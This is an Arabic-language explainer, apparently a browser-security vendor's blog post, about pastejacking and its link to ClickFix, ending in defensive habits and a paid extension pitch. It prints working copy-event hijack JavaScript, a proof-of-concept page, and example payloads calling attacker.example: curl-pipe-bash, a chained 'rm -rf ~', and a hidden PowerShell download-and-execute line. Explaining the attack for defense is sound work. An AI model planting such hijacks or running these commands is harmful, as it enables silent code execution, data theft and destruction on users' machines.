الآلية: اختطاف حدث النسخ

يعمل Pastejacking لأن المتصفحات تُطلق حدث DOM يُسمى copy في كل مرة تضغط فيها Ctrl+C أو Cmd+C. أي صفحة بمستمع حدث واحد يمكنها اعتراض هذا الحدث والكتابة فوق ما يذهب إلى حافظتك. النص المرئي للمستخدم على الصفحة يظل كما هو، لكن الحافظة تُحمَّل بشيء مختلف تماماً.

إليك الهجوم بأكمله في ست سطور من JavaScript:

document.addEventListener('copy', function(e) {
  e.clipboardData.setData('text/plain', 'malicious-command');
  e.preventDefault();
});

يستخدم المتغير الحديث واجهة Clipboard API غير المتزامنة، التي أصبح من الأسهل إساءة استخدامها الآن بعد أن كشفت معظم المتصفحات عنها خلف طلب إذن يضغط عليه كثير من المستخدمين دون قراءة:

document.addEventListener('copy', async (e) => {
  e.preventDefault();
  await navigator.clipboard.writeText('curl https://attacker.example/install.sh | sudo bash');
});

التدفق بسيط. يحدد المستخدم نصاً على الصفحة. يستعد المتصفح لوضع ذلك النص على حافظة النظام. قبل أن يفعل، يعترض JavaScript الخاص بالصفحة الحدث، ويستدعي preventDefault() لإيقاف النسخ الحقيقي، ويستدعي setData() أو writeText() لوضع حمولته الخاصة في حافظتك. عندما يلصق المستخدم في أي مكان (محطة طرفية، موجه مسؤول، Slack، بريد إلكتروني) تظهر حمولة المهاجم بدلاً من النص الذي اعتقدوا أنهم نسخوه. لا استغلال، لا CVE، فقط واجهة برمجية مسموح بها تُستخدم بالضبط كما هو موثق.

لماذا يكون مستخدمو المحطة الطرفية الهدف الأول

ينسخ المطورون ومسؤولو الأنظمة ومهندسو DevOps وعلماء البيانات أوامر التثبيت من المدونات والمستندات وStack Overflow كل يوم. إنه جزء أساسي من العمل. تقرأ إرشادات، ترى أمراً، تنسخه، تلصقه في shell، وتشغّله. يفترض خط الأنابيب بأكمله أن المصدر الذي تقرأه هو أيضاً المصدر الذي تلصق منه.

ينهار نموذج الثقة هذا بطريقتين. الأولى عندما يُخترق النطاق "الموثوق" نفسه. يمكن لمدونة مخترقة أو مرآة مستندات مشابهة في الاسم أو موقع برنامج تعليمي مُحسَّن لمحركات البحث زرع مستمع نسخ على أي كتلة كود. الثانية عندما يبدو النطاق فقط موثوقاً. مواقع بأسماء مثل docs-kubernetes-install.com أو official-homebrew.io تظهر في نتائج البحث لأدلة التثبيت، وغالباً ما تتصدر نتائج المستندات الحقيقية للاستعلامات الطويلة. عندما يصل المستخدم إلى إحدى هذه الصفحات، تكون حمولة Pastejacking مثبّتة بالفعل.

السبب في خطورة اللصق في المحطة الطرفية أنه لا توجد خطوة تأكيد في shell. اضغط Enter وينفّذ. إذا احتوى الأمر على سطر جديد، تنفّذ معظم المحطات الطرفية على الفور دون انتظار Enter حتى. النافذة بين اللصق والتنفيذ صفر عملياً.

خدعة install.sh على Linux وMac

الهدف الكلاسيكي لـ Pastejacking هو نمط تثبيت curl | bash. رأيته آلاف المرات:

curl https://example.com/install.sh | bash

يستضيف المهاجم صفحة تبدو بصرياً وكأنها تعرض لك بالضبط ذلك الأمر غير الضار. كتلة HTML على الصفحة تقول فعلاً example.com. لكن عندما تحدد النص وتنسخه، تُحمَّل الحافظة بشيء كهذا:

curl https://attacker.example/install.sh | bash; rm -rf ~ &

شيئان يجعلان هذا وحشياً. أولاً، السطر الجديد المتبقي في نهاية الحمولة يعني أن الأمر يُشغَّل فور وصوله إلى محطتك الطرفية. لا فرصة لقراءته قبل أن يُطلق Enter نيابةً عنك. ثانياً، يمكن للمهاجم سلسلة أمر تنظيف مدمر بعد الأمر الذي يبدو حقيقياً، لذا حتى إذا لاحظت أن شيئاً ما ساء، فقد اختفى الدليل الرئيسي بالفعل.

تبدو صفحة إثبات المفهوم المُبسَّطة كالتالي:

<pre id="cmd">curl https://example.com/install.sh | bash</pre>
<script>
  document.getElementById('cmd').addEventListener('copy', (e) => {
    e.preventDefault();
    e.clipboardData.setData(
      'text/plain',
      'curl https://attacker.example/install.sh | bash\n'
    );
  });
</script>

لا شيء في ذلك HTML يُعلَّم كضار بمفحص ثابت. إنه مجرد مستمع حدث على عنصر عادي.

المتغير PowerShell: الجد الأكبر لـ ClickFix

على Windows، تستهدف نفس التقنية PowerShell وحوار Run (Win+R). الحمولة عادةً سطر واحد يُنزّل ثنائياً من المرحلة الثانية وينفّذه:

powershell -w hidden -c "iwr https://attacker.example/x.ps1 | iex"

Pastejacking هو الجد الأكبر لموجة هجوم ClickFix الحالية. التمييز مهم. Pastejacking على مستوى الحافظة: يُخدَع المستخدم، يستبدل الموقع المحتوى، يلصق المستخدم شيئاً لم يقصد لصقه. ClickFix هو هندسة اجتماعية فوق ذلك: يُقال للمستخدم بكلمات واضحة "انسخ هذا الأمر، افتح Run، الصقه، اضغط Enter لإصلاح متصفحك." في ClickFix يعرف المستخدم ما في حافظته ويشغّله على أي حال. Pastejacking يعمل دون وعي المستخدم. تجمع الحملات الحديثة بين الاثنين: تخبر الضحية بما تلصق، ثم تستبدله بصمت بشيء أسوأ.

غطّينا طبقة الهندسة الاجتماعية لـ ClickFix بالتفصيل في شرح هجوم كابتشا ClickFix المزيف، والذي يستحق القراءة جنباً إلى جنب مع هذا المقال.

طبقة "قم بتشغيل هذا لإصلاح الخطأ"

فوق التقنية الخام تقع طبقة سميكة من الهندسة الاجتماعية. تظهر صفحة تدّعي أن متصفحك قديم أو جهازك مصاب أو تحقق Cloudflare فشل. تقول شيئاً كـ "انسخ الأمر أدناه والصقه في PowerShell للتحقق من أنك إنسان." الأمر على الشاشة قصير ويبدو غير ضار وله غرض ودي.

يُضخّم Pastejacking الحيلة. حتى المستخدم الحذر الذي يقرأ الأمر على الشاشة ويقرر أنه يبدو آمناً لا يزال يلصق شيئاً مختلفاً. النص على الشاشة هو ديكور. الحافظة هي الحمولة الحقيقية. يشغّل المستخدم الآن سكريبت يتحكم فيه المهاجم بامتيازاته الخاصة، وفي كثير من الحملات تنتهي هذه القصة بسارق معلومات يحصد كوكيز المتصفح وبذور محفظة العملات المشفرة ومفاتيح SSH.

لماذا تكون وحدات تحكم مطوري المتصفح هشّة بشكل خاص

Self-XSS عبر Pastejacking هي فئة قائمة بذاتها. الهدف هو وحدة تحكم DevTools بالمتصفح. يُقنع المهاجم المستخدم بفتح DevTools ولصق مقتطف "موثوق" يُفعّل مزعوماً ميزة مخفية أو يفتح شيئاً ما. الكود الملصوق يعمل بامتيازات الصفحة الكاملة، مما يعني أنه يمكنه قراءة كوكيز المصادقة ورموز الجلسة وأي بيانات يمكن للمستخدم الذي سجّل دخوله رؤيتها.

هذا هو سبب عرض Facebook وTwitter وDiscord ومعظم التطبيقات الكبيرة تحذيراً أحمر ضخماً عند فتح وحدة تحكم dev. لا يمكنهم منعك من اللصق فيها، لكن يمكنهم على الأقل إخبارك بأن أي شخص يطلب منك لصق شيء ما هناك على الأرجح يحاول سرقة حسابك. Pastejacking يجعل Self-XSS أسوأ لأن المستخدم لا يحتاج حتى إلى أن يُخبَر بلصق كود ضار. يمكنهم الاعتقاد بأنهم يلصقون سطراً واحداً غير ضار ولا يزالون ينتهون بتشغيل سكريبت الاستخراج الكامل.

كيف ترى ما نسخته فعلاً قبل اللصق

أفضل عادة واحدة ضد Pastejacking هي كسر خط الأنابيب من النسخ إلى shell. أضف خطوة تحقق.

  • الصق في محرر نصوص أولاً. Notepad أو TextEdit أو VS Code أو أي محرر يعرض النص الخام. إذا كان المحتوى لا يطابق ما نسخت، عثرت على محاولة Pastejacking.
  • استخدم مدير حافظة. أدوات مثل Maccy أو Ditto أو Paste أو CopyQ أو سجل الحافظة المدمج في Windows (Win+V) تعرض المحتوى الخام لحافظتك قبل الالتزام باللصق في أي مكان.
  • لا تلصق أبداً مباشرة من موقع ويب إلى shell أو موجه مسؤول. انتقل دائماً من الموقع إلى المحرر إلى shell، حتى حين تكون مشغولاً.
  • انقر بالزر الأيمن وافحص العنصر. نظرة سريعة على DOM ستكشف في الغالب مستمع حدث copy مرتبطاً بكتلة الكود أو وسم سكريبت مشبوه على الصفحة.
  • عطّل JavaScript على مواقع المستندات التي لا تحتاجه. تموت كثير من الهجمات فور عدم تمكن مستمع الحدث من التشغيل.

كيف تحجب SafeBrowz الهجوم

تراقب حماية اختطاف الحافظة لدينا النمط الموصوف في هذا المقال بالضبط. تكتشف الصفحات التي تستدعي setData() على حدث نسخ أو navigator.clipboard.writeText() بدون نقرة مستخدم حديثة مبادِرة بها المستخدم، وتحجب الكتابة وتعرض لافتة تحذير. أزرار "نسخ إلى الحافظة" المشروعة لا تُطلّقها لأنها تُطلَق داخل معالج نقر حقيقي. مواقع Pastejacking تُطلّقها فوراً، لأن الحيلة بأكملها تعتمد على الاعتراض الصامت.

حماية اختطاف الحافظة ميزة Premium. Premium بسعر 14.99$ سنوياً وتغطي 3 أجهزة بترخيص واحد. الطبقة المجانية لا تزال تمسك بمعظم حملات Pastejacking على مستوى النطاق لأننا نشحن بالفعل قائمة حجب لمضيفي هجمات الحافظة المعروفة، مُحدَّثة يومياً، عبر أكثر من 420 علامة تجارية منتحَلة. إضافة SafeBrowz نفسها مجانية إلى الأبد وتعمل على Chrome وFirefox وEdge.

أنماط أكثر أماناً للمطورين ومسؤولي الأنظمة

حتى مع تثبيت إضافة، الإصلاح طويل الأمد هو تغيير طريقة تثبيت البرامج وكيفية تعاملك مع الأوامر التي تجدها على الويب.

  • فضّل المرايا الموثوقة. إصدارات GitHub بوسوم موقّعة تتفوق على تدوينة مدونة عشوائية في كل مرة.
  • تحقق من توقيعات GPG على سكريبتات التثبيت والحزم المضغوطة عندما يشحنها المشروع. معظم المشاريع الجادة تفعل.
  • استخدم مديري الحزم. apt وdnf وbrew وnpm وpip وcargo وwinget كلها تتحقق مما تثبّته. curl | bash لا تتحقق من شيء.
  • ثبّت الهاش عند اضطرارك لـ curl | bash. نزّل السكريبت أولاً، تحقق من SHA-256 الخاص به مقابل القيمة في README المشروع، ثم نفّذه.
  • شغّل السكريبتات غير المألوفة في بيئة معزولة. حاوية Docker مؤقتة أو لقطة VM تكلفك ثلاثين ثانية وتمنحك عزلاً كاملاً.
  • اقرأ كل أمر بمجرد وجوده في محطتك الطرفية. أضف سطراً فارغاً قبل الأمر الملصوق إذا دعم shell الخاص بك ذلك، حتى تحظى بفرصة التمرير للأعلى والقراءة قبل أن يُطلق Enter.